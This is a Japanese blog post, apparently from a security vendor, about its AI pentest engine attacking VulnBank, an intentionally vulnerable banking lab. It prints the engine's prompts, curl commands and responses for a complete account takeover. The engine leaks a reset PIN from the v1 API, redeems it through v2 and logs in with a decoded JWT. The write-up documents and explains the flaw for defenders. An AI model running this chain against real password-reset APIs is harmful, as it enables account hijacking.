AIエンジンがAPIバージョン混同を悪用してアカウント乗っ取りを実現
体系的な分析が闇雲なファジングに勝る実例として、OstorlabのAIエンジンがバージョンをまたぐパスワードリセットの弱点を発見し、メールにアクセスすることなくアカウント乗っ取りを実現しました。
当社のAIペンテストエンジンのライブデモの最中に、ある参加者が「それはいいけど、これはできるの?」という類いの質問を投げかけてきました:
「APIバージョン混同のバグを実際に見つけて、アカウント乗っ取りにまでつなげられるのか?」
用意していた定番のネタはなかったので、脆弱性を含むターゲット、今回の場合はAl-Amir Badmus氏が作成した意図的に脆弱な銀行アプリであるVulnBankにエンジンを向け、そのまま走らせました。返ってきたのは、トレーニング用のラボにだけ存在して本番アプリには存在しないことを願うような類いのものでした。ユーザー名さえあればアカウントを乗っ取れる、パスワードリセットのバージョン混同の不備です。
何が起きたのかを順を追って見ていきましょう。
前提:v1は危険、v2は安全…本当に?
VulnBankは、2つのAPIバージョンでパスワードリセットのフローを公開しています:
POST /api/v1/forgot-passwordPOST /api/v2/forgot-passwordPOST /api/v1/reset-passwordPOST /api/v2/reset-password
OpenAPI仕様は、何が起きているのかを明示的に教えてくれています:
- v1:「完全なデータ露出」。
debug_infoに3桁のリセットPINが含まれます。 - v2:「データ露出の削減」。PINは露出されず、
debug_infoは存在しません。
つまり、建前上は:
- v1 =「レガシーで情報が漏れるため、本番環境では使用しないこと」。
- v2 =「修正済みで洗練され、はるかに安全」。
ところが、両バージョンは同じバックエンドの状態を共有しています。同じPINストア、同じユーザー、何もかもが同じです。そして、ここからが本題です。
AIはどうアプローチしたか(そしてなぜそれが重要か)
ほとんどのスキャナーは「3桁のPIN」を見ると、2秒間だけ弱いエントロピーについて騒ぎ立て、次の500個のエンドポイントへ移っていくでしょう。
AIエンジンは、もっと…人間らしいことをしました:
1. OpenAPI仕様を解析した
openapi.jsonを取得し、パスワードリセットに関するものを探し、/api/v{version}/forgot-passwordと/api/v{version}/reset-passwordを見つけました。
2. バージョンごとの挙動の違いに気づいた
仕様には文字どおり次のように記載されています:
- v1:
debug_infoにPINが含まれる。 - v2:PINは露出されず、
debug_infoはなくなる。
これは大きな危険信号です。同じ機能、異なるセキュリティ特性、同じバックエンド。
3. 仮説を立てた
「両バージョンがバックエンドの状態を共有していて、一方がPINを漏らすなら、v1で開始してv2で引き換えられるのではないか?」
4. その仮説を体系的に検証した
ファジングの嵐もなければ、「何かが壊れるまでとにかく叩き続けよう」もありません。明確な目的を持った、慎重に選ばれた少数のリクエストだけです。
決定的な違いは、エンドポイントだけでなくアーキテクチャを理解する点にあります。まさにここが、従来のファジングと推論駆動型のエンジンが分かれる地点です。
エンジンは実際にどうやったか:その証明
この脆弱性を実証した、実際のAIツールの実行、すなわち本物のコマンドとレスポンスを見てみましょう。
リスクインテリジェンスの出力
エンジンのリスクインテリジェンスのステップは、次のリスクを指摘しました:
POST
/api/v1/reset-passwordとPOST/api/v2/reset-passwordにまたがるパスワードリセットのバージョン混同:両バージョンを試し、v2がより強固である一方で、v1の弱い検証やUXが悪用され、ユーザーを安全でないリセットへ誘導できないかを確認する。レート制限、トークンの有効期間や形式、エラーメッセージ、そしてバージョンをまたぐフロー(v1で開始してv2で引き換える、またはその逆)が可能かどうかを比較する。古いエンドポイントを廃止するか、または同等の挙動を強制し、ユーザーへの明確なメッセージを徹底する。
以下は、エンジンがこのリスクを体系的に検証した方法です。
システムプロンプト:初期偵察
OpenAPI仕様を取得して解析し、パスワードリセットのエンドポイントを列挙する。
アクション:ブラウザーに似たUser-AgentでHTTP/1.1のkeep-aliveを使い、https://vulnbank.org/static/openapi.json にGETリクエストを正確に1回だけ送信する。リダイレクトは追わず、このタスクでは追加のリクエストを一切行わない。レートは5rps未満に保つ。
取得すべきエビデンス:この単一の取得について、生のHTTPリクエストとレスポンス(ステータス、ヘッダー、ボディ)をすべて保存する。
解析の目標(JSONのみから、これ以上のネットワーク呼び出しは行わない):開始と引き換え/確認を含む、パスワードリセットに関連するすべてのパスを列挙する。特に次を探す:/api/v1/reset-password と /api/v2/reset-password(メソッド、リクエストボディのスキーマ、email/captcha/MFAトークンなどの必須フィールド)、確認/引き換え用のエンドポイント(例:/api/v1/reset-password/confirm、/api/v2/reset-password/confirm)、代替または類似のパス。発見した各エンドポイントについて、次を記録する:HTTPメソッド、リクエストボディのスキーマ(フィールド名、型、必須フラグ)と、存在すればサンプルペイロード、レスポンスコードとサンプル/エラーメッセージ、文書化されたセキュリティ要件、そしてv1とv2のバージョン固有の差異。
使用ツール:curl
引数:
curl_args: -sS -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" --http1.1 -D - -o - -v https://vulnbank.org/static/openapi.json
出力:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:21:20 GMT
Content-Type: application/json
Content-Length: 44061
Connection: keep-alive
Content-Disposition: inline; filename=openapi.json
Last-Modified: Mon, 13 Oct 2025 18:26:24 GMT
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xGVbpMhRS34xZfjqdwOxLDgRUnOpqgDl7wUbKBP2gRog2Kaj0VPc9IvnPUqyGqCWx5jYshRIuONIdltkxgmILrGXGq0DukPtK3WMDg%3D%3D"}]}
CF-RAY: 99acca323ca1d3b1-FRA
alt-svc: h3=":443"; ma=86400
{
"openapi": "3.0.0",
"info": {
"title": "Vulnerable Bank API",
"description": "API documentation for the deliberately vulnerable banking application",
"version": "1.0.0",
"contact": {
"name": "Vulnerable Bank Support",
"url": "https://github.com/Commando-X/vuln-bank"
}
},
"servers": [
{
"url": "https://vulnbank.org",
"description": "Controlled Production Server"
}
],
"tags": [
{
"name": "authentication",
"description": "Authentication related endpoints"
},
{
"name": "transactions",
"description": "Transaction management endpoints"
},
{
"name": "users",
"description": "User management endpoints"
},
{
"name": "admin",
"description": "Administrative endpoints"
},
{
"name": "virtual-cards",
"description": "Virtual card management endpoints"
},
{
"name": "bill-payments",
"description": "Bill payment operations"
},
{
"name": "ai-agent",
"description": "AI Customer Support Agent (Intentionally Vulnerable)"
},
{
"name": "internal",
"description": "Internal-only endpoints for SSRF demonstration"
}
],
...
}
OpenAPI JSONの解析結果:
サーバー/ベースURL:https://vulnbank.org(説明:Controlled Production Server)。列挙されたすべてのエンドポイントは、スコープ内のルートホスト内にあります。
パスワードリセット関連のエンドポイント(パスパラメーター{version} ∈ {1,2}でバージョン管理):
開始:/api/v{version}/forgot-password(POST)
概要:パスワードリセットを要求する(バージョン管理)
説明:3桁のリセットPINを生成する。仕様はデータ露出におけるバージョン差異を注記している(v1はより機微、v2はより少ない。v2はレスポンスにPINを露出しない)。
パスパラメーター:version(in: path、required、integer、enum [1,2]、default 2)
リクエストボディ(application/json、required):schema: object、properties: username: string。オブジェクト内のフィールドに明示的なrequired[]配列はなし(全体のrequestBody.required = trueのみ)
レスポンス:200:リセットPINを生成。schema: object、properties: status(string)、message(string)、debug_info(object)。注記:debug_infoの説明:「v1: PINを含む広範な機微情報を含む。v2: 機微情報は少なく、PINは露出されない。」 404:ユーザーが見つからない(ステータスコードやメッセージによるユーザー列挙の可能性を示す)
セキュリティ:セキュリティスキームの指定なし(仕様上は公開エンドポイント)
引き換え/確認:/api/v{version}/reset-password(POST)
概要:PINを使用してパスワードをリセットする(バージョン管理)
説明:3桁のPINでパスワードをリセットする。データ露出におけるバージョン差異(v1は使用済みPINを含む機微なデバッグ情報を含む。v2は含まない)。
パスパラメーター:version(in: path、required、integer、enum [1,2]、default 2)
リクエストボディ(application/json、required):schema: object、properties: username: string、reset_pin: string(pattern: ^\d{3}$)、new_password: string。オブジェクト内に明示的なrequired[]配列はなし(全体のrequestBody.required = trueのみ)
レスポンス:200:パスワードのリセットに成功。schema: object: status(string)、message(string)、debug_info(object)。注記:debug_infoの説明:「v1: 使用済みPINを含む広範なデバッグ情報を含む。v2: 存在しない。」 400:無効なリセットPIN
セキュリティ:セキュリティスキームの指定なし(仕様上は公開エンドポイント)
{version}プレースホルダーが示す具体的なバージョン付きパス:POST /api/v1/forgot-password、POST /api/v2/forgot-password、POST /api/v1/reset-password、POST /api/v2/reset-password
文書化されたバージョン固有の差異(仕様のテキストより):v1(旧版)は、リセットPINやその他の詳細を含む可能性のある機微なdebug_infoを露出する。v2(新版)はデータ露出を削減し、PINはレスポンスに露出されず、リセット成功時にdebug_infoは存在しない。
重大な検出結果:OpenAPI仕様は、v1がレスポンスにdebug_info.pinを露出し、v2は露出しないことを明示的に文書化しており、実質的にセキュリティのダウングレード経路を公表しています。
フェーズ1:待って、レスポンスにPINをそのまま入れたの?
まず、エンジンは仕様が示唆する内容をテストしました。v1は実際にPINを漏らすのか?
システムプロンプト:v1の情報漏えいをテスト
アカウントAについてv1のパスワードリセットを開始し、完全なエビデンスを取得する。
アクション:ヘッダー{Content-Type: application/json}とボディ{"username":"testA_vconf_01"}を付けて、https://vulnbank.org/api/v1/forgot-passwordにPOSTを正確に1回だけ送信する。レートは5rps未満に保ち、再試行はしない。
記録すべきエビデンス:生のHTTPリクエストとレスポンス(ステータス、レート制限/CORS/デバッグ系を含むすべてのヘッダー)、完全なJSONボディ。
想定される結果:v1がレスポンス内のdebug_infoを通じて3桁のリセットPINを漏らすかどうかを判定する(存在する場合はPINをそのまま記録する)。
使用ツール:curl
引数:
curl -sS -v --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
-X POST "https://vulnbank.org/api/v1/forgot-password" \
-H "Content-Type: application/json" \
--data '{"username":"testA_vconf_01"}' \
-D - -o -
出力:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:31:12 GMT
Content-Type: application/json
Content-Length: 228
Access-Control-Allow-Origin: *
{
"debug_info": {
"pin": "388",
"pin_length": 3,
"timestamp": "2025-11-07 12:22:57.378546",
"username": "testA_vconf_01"
},
"message": "Reset PIN has been sent to your email.",
"status": "success"
}
重大な検出結果:レスポンスはdebug_info.pinでリセットPINを直接露出しています。ユーザー名さえあれば、攻撃者は被害者のメールに一切触れることなくPINを取得できます。
ワイルドカードのCORSポリシーが問題をさらに深刻にします。どのWebサイトからでもこのリクエストを発生させ、レスポンスを読み取れてしまうのです。漏えいがなかったとしても、3桁のPIN空間(000〜999)は簡単に総当たりできます。レスポンスは有効なユーザー名も確認でき、列挙攻撃を可能にします。
まとめると:
- 3桁のリセットPINが
debug_info.pinにそのまま入っている。 - 必要だったのはユーザー名だけ。
- APIはCORSが全開(
Access-Control-Allow-Origin: *)で、悪意のあるサイトはどれでも被害者のブラウザーからこのリクエストを発生させ、JavaScriptでPINを読み取れる。
メールボックスへのアクセスも、フィッシングリンクも不要で、ログインした状態で悪意のあるページを訪れること以上のユーザー操作も要りません。これだけでも、すでに深刻なアカウント乗っ取りの経路です。
フェーズ2:アカウント乗っ取りに向けてv1のPINを引き換える
システムプロンプト:悪用可能性を確認
v1のPIN漏えいの悪用可能性を検証するため、アカウントAについてv1のリセットPINを引き換える。
アクション:ボディ{"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}を付けて、https://vulnbank.org/api/v1/reset-passwordにPOSTを正確に1回だけ送信する。試行は1回のみ。
想定される結果:漏えいしたv1のPINでアカウントAのパスワードをリセットできることを確認し、実用的なアカウント乗っ取り(ATO)を実証する。
使用ツール:curl
引数:
curl -sS -i --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-X POST "https://vulnbank.org/api/v1/reset-password" \
-H "Content-Type: application/json" \
-H "Connection: keep-alive" \
--data '{"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}'
出力:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:33:27 GMT
Content-Type: application/json
Content-Length: 243
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Q%2BcQ5yGSX6r8390cSNwy9wykYa2YMUpMBvBph5sOKgLcMUjnVsMc2nVsujuibpoQ16DME9mFqO%2FIkNXrjGIWpEMPxMbhGeRNrdCFZg%3D%3D"}]}
CF-RAY: 99acdbf43a805d49-FRA
alt-svc: h3=":443"; ma=86400
{
"debug_info": {
"reset_pin_used": "388",
"reset_success": true,
"timestamp": "2025-11-07 12:25:12.976952",
"username": "testA_vconf_01"
},
"message": "Password has been reset successfully",
"status": "success"
}
パスワードのリセットは成功します。v1は漏えいしたPINを受け入れ、メール確認を一切行わずにパスワードを変更します。レスポンスはreset_success: trueで操作を確認し、さらにdebug_info.reset_pin_usedでPINをそのまま返しています。
この時点で、v1だけでも悪用可能であることを実証できました。ユーザー名と漏えいしたPINがあれば、アカウント乗っ取りが成立します。しかし興味深い問いは、v2が同じ不備を抱えているかどうかです。
フェーズ3:バージョンをまたぐ受け入れをテスト(決定的な発見)
システムプロンプト:バージョン混同をテスト
v2の引き換えエンドポイントがv1で発行されたPINを受け入れるかどうかをテストする。受け入れる場合、バージョン境界の強制がないままバックエンドの状態が共有されていることを示す。
テスト手順: 1. testB_vconf_01についてv1でパスワードリセットを開始する(漏えいしたPINを取得) 2. v1で発行されたPINをv2の引き換えエンドポイントで引き換えようと試みる
仮説:成功すれば、攻撃者はv2のインターフェースを使いながらv1の漏えいを悪用でき、クライアント側のあらゆる堅牢化を回避できる。
ステップ1:アカウントBについてv1のリセットを開始
使用ツール:curl
引数:
curl -sS -v --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-X POST "https://vulnbank.org/api/v1/forgot-password" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Connection: keep-alive" \
--data '{"username":"testB_vconf_01"}' \
-D - -o -
出力:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:40:12 GMT
Content-Type: application/json
Content-Length: 228
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=G7Kqftl8cVngY46mK76PSPR8TjpqT%2Fdjc5KTJ%2BaaDXEBmeb%2BEBenfdKUF4LZAojIiaIYWKXhIDEFvlNoZZmSysyWGYbPIqAMpczTFg%3D%3D"}]}
CF-RAY: 99ace5d8da6ebb1b-CDG
alt-svc: h3=":443"; ma=86400
{
"debug_info": {
"pin": "223",
"pin_length": 3,
"timestamp": "2025-11-07 12:31:58.190715",
"username": "testB_vconf_01"
},
"message": "Reset PIN has been sent to your email.",
"status": "success"
}
抽出されたv1のPIN:223
ステップ2:v2のエンドポイントでv1のPINを引き換える(バージョンをまたぐ攻撃)
使用ツール:curl
引数:
curl -sS --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-X POST "https://vulnbank.org/api/v2/reset-password" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Connection: keep-alive" \
--data '{"username":"testB_vconf_01","reset_pin":"223","new_password":"Tmp!Pass#B1"}' \
-D - -o -
出力:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:41:22 GMT
Content-Type: application/json
Content-Length: 80
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tPZNfCsblxfbMaoEi50%2FYgP3Dyl3NXIbm%2FbExP7sBEAqmaahb0wZhEUNXtqSGlS1dimQC06PrhN%2BgHA%2BKD2x966EbFFP1Y1DMarIuw%3D%3D"}]}
CF-RAY: 99ace78c3af0924d-FRA
alt-svc: h3=":443"; ma=86400
{
"message": "Password has been reset successfully",
"status": "success"
}
v2はPINを受け入れます。v1のデータ漏えいを修正するために設計されたにもかかわらず、v2のリセットエンドポイントは依然としてv1で発行されたPINを処理します。これで攻撃チェーンが完成します。v1でリセットを要求してPINを漏えいさせ、それをv2で引き換えることでクライアント側のあらゆる保護を回避するのです。
これがバージョン混同の脆弱性の核心的な問題です。両方のAPIバージョンは同じバックエンドのPINストレージを共有していますが、それぞれ異なるセキュリティ制御を適用します。攻撃者はいとも簡単に組み合わせられます。弱いところではv1を、強いところではv2を使うのです。バージョン管理は、実装には存在しないセキュリティ境界という幻想を生み出します。
フェーズ4:検証(完全なアカウント乗っ取りの証明)
システムプロンプト:アカウント乗っ取りを検証
v2で設定した新しいパスワードでログインすることにより、アカウントBに対するバージョン混在の引き換えが有効になったことを検証する。
アクション:ヘッダーContent-Type: application/json、ブラウザーに似たUser-Agent、Connection: keep-aliveを付けて、https://vulnbank.org/loginにPOSTを正確に1回だけ送信する。ボディのJSON:{"username":"testB_vconf_01","password":"Tmp!Pass#B1"}。5rps未満に保ち、試行は1回のみ。
そのまま取得すべきエビデンス:生のHTTPリクエストと生のHTTPレスポンスの全体(ステータス、Set-CookieやAccess-Control-Allow-*を含むすべてのヘッダー、完全なJSONボディ)。
想定される結果:ログインの確認(有効なトークンを伴う200成功)は、v2がv1のPINを受け入れた結果、実際にパスワードが変更されたことを実証する。成功した場合はトークンを抽出し、JWTかどうかを特定し、ヘッダーとペイロードをローカルでデコードして、クレームがアカウントBと一致することを確認する。
使用ツール:curl
引数:
curl -sS --http1.1 -i -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-H "Content-Type: application/json" \
-H "Connection: keep-alive" \
-X POST "https://vulnbank.org/login" \
--data '{"username":"testB_vconf_01","password":"Tmp!Pass#B1"}'
出力:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:43:06 GMT
Content-Type: application/json
Content-Length: 501
Connection: keep-alive
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=VbrIMCsVFv4mkFtw%2FZPjNJMVtH8dELhrPGiY3jiVR6fT7G63HAaGXj%2B3P5z8zGS9gNRqqnzvka7L5cQ%2FSATUkkY87SWWVqM0KJntZA%3D%3D"}]}
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0; HttpOnly; Path=/
CF-RAY: 99acea17dacb6f99-CDG
alt-svc: h3=":443"; ma=86400
{
"accountNumber": "6235161082",
"debug_info": {
"account_number": "6235161082",
"is_admin": false,
"login_time": "2025-11-07 12:34:52.147690",
"user_id": 46,
"username": "testB_vconf_01"
},
"isAdmin": false,
"message": "Login successful",
"status": "success",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0"
}
トークン解析:トークン形式はJWT(base64urlの3セグメント)。デコードしたヘッダー:{"typ":"JWT","alg":"HS256"}。デコードしたペイロード:{"user_id":46,"username":"testB_vconf_01","is_admin":false,"iat":1762518892}。クレームの一致:アカウントB(user_id 46、username testB_vconf_01)。
ログインは成功します。パスワードはバージョンをまたぐ攻撃によって確かに変更され、JWTは当社がこのアカウントを掌握したことを裏付けています。
攻撃全体に必要なのはユーザー名だけです。メールへのアクセスも、ユーザー操作も、総当たりも不要です。v1でリセットを要求し、レスポンスからPINを抽出し、v2で引き換え、認証する。4回のHTTPリクエスト、30分未満のテストです。
攻撃に要したコストは次のとおりです:
- 必要な入力:ユーザー名のみ。
- ユーザー操作:なし。
- リクエスト:
- v1のforgot-password → PINを漏えい
- v2のreset-password → パスワードを設定
- login → 乗っ取りを検証
- 所要時間:的を絞った探索の30分未満で発見。
なぜこれが起きるのか:命名規則による信頼境界
根本的な問題は、単に「PINを漏らした」ことだけではありません(それも悪いことですが)。問題は、チームがAPIのバージョン管理について抱くメンタルモデルにあります:
- v1:「古いもので、少し怪しいかもしれない」。
- v2:「修正済みで安全」。
しかし実際には:
- 両バージョンは同じPINストアとやり取りする。
- 両バージョンは同じユーザーアカウントを扱う。
- セキュリティ修正を受けたのは一方のバージョンだけ。
つまり、見かけ上はセキュリティ境界に見えるもの、すなわち「v2を使えば安全」というものを作り出しておきながら、内部の信頼境界は実際には何も変えていないのです。
これはより広範なパターンです:
- セキュリティ上重要なフローが複数のバージョンで存在する(パスワードリセット、MFA、トークン、セッション)。
- 一方のバージョンは堅牢化され、古い方は、ときに「互換性のため」として残り続ける。
- 両者はバックエンドの状態を共有する。
- 攻撃者は組み合わせる。v1の弱い部分と、v2の都合のよい部分を使うのだ。
ここでのOpenAPI仕様は、ダウングレード経路を宣伝すらしています:
- 「v1: debug_infoにPINが含まれる」
- 「v2: PINの露出なし」
これを公開しておきながらバックエンドで挙動を厳密に分離しなければ、実質的に自分専用の攻撃手順書を出荷しているようなものです。
なぜファジングだけではこれを見逃しがちなのか
従来のスキャナーは、次のような傾向があります:
- エンドポイントにペイロードを浴びせる。
- 容易に見つかる問題(弱いエントロピー、認証の欠如など)を指摘する。
- 各エンドポイントをおおむね個別に扱う。
このバグは、次のようなものではありませんでした:
- 奇妙なエッジケースのパーサーの問題、
- 風変わりなHTTPスマグリングのガジェット、
- あるいは6台のプロキシとヤギの生贄がなければ再現できないようなもの。
これは関係性に関するものでした:
- 同じユーザー。
- 同じPIN。
- 異なる保証を持つ、同じフローの2つのバージョン。
AIエンジンは、次のようにしてこれを発見しました:
- 人間と同じようにOpenAPI仕様を読む。
- v1とv2がセキュリティの面で異なる挙動をすることを見抜く。
- 「両者は状態を共有しているのか?」と問い、そのうえで共有していることを実証する。
テスト戦略がバージョンをまたぐフローについて推論しなければ、こうしたバグは平然と目の前に居座り続けます。
メタ教訓:的を絞った推論が闇雲な力任せに勝る
このバグ全体は、単純な思考プロセスから導き出されました:
- 仕様には2つのバージョンがあると書かれている。
- 仕様には、両者がセキュリティの面で異なる挙動をすると書かれている。
- トークンは共有されているようだ。
- 両者を混ぜてみる。
巨大なワードリストもなければ、何時間ものファジングもありません。あるのは理解と、ごく少数の慎重に選ばれたHTTPリクエストだけです。
どのような規模であれAPIを構築あるいはテストしているなら、人間であれ機械であれ、そうした思考を味方につけたいはずです。